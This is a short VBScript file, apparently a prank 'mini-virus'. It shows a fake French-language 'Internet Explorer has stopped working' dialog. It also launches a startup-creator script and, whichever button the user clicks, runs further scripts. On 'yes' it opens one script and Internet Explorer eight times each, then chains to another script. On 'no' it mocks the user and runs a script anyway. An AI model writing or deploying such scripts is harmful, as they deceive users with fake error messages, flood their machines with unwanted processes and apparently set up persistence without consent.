48 lines
No EOL
2.6 KiB
Text
Executable file
48 lines
No EOL
2.6 KiB
Text
Executable file
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%userprofile%\Downloads\Intranet\Startup Creator\startupie.vbs"""
|
|
result = MsgBox ("Est-tu sûr de vouloir utiliser Internet Explorer ?", vbYesNo + vbCritical, "InternetExplorer.exe à cessé de fonctionner")
|
|
|
|
Select Case result
|
|
Case vbYes
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs"
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
|
|
WScript.Sleep 10000
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorerplus.vbs"
|
|
|
|
Case vbNo
|
|
MsgBox "Ouf, j'ai eu peur, mais bon, je te laisse avec le mini-virus :)", vbInformation
|
|
Set WshShell = WScript.CreateObject("WScript.Shell")
|
|
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs"
|
|
|
|
End Select |